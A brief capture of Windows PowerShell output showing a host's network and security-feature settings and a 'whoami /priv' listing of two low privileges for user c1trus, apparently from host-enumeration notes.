DHCP Enabled: Yes
DHCP Server: 172.16.255.253
IP address(es)
[01]: 172.16.36.21
[02]: fe80::f0d3:5b84:c85d:224e
Virtualization-based security: Status: Not enabled
App Control for Business policy: Enforced
App Control for Business user mode policy: Off
Security Features Enabled:
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
PS C:\Users\c1trus>
PS C:\Users\c1trus> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
reference: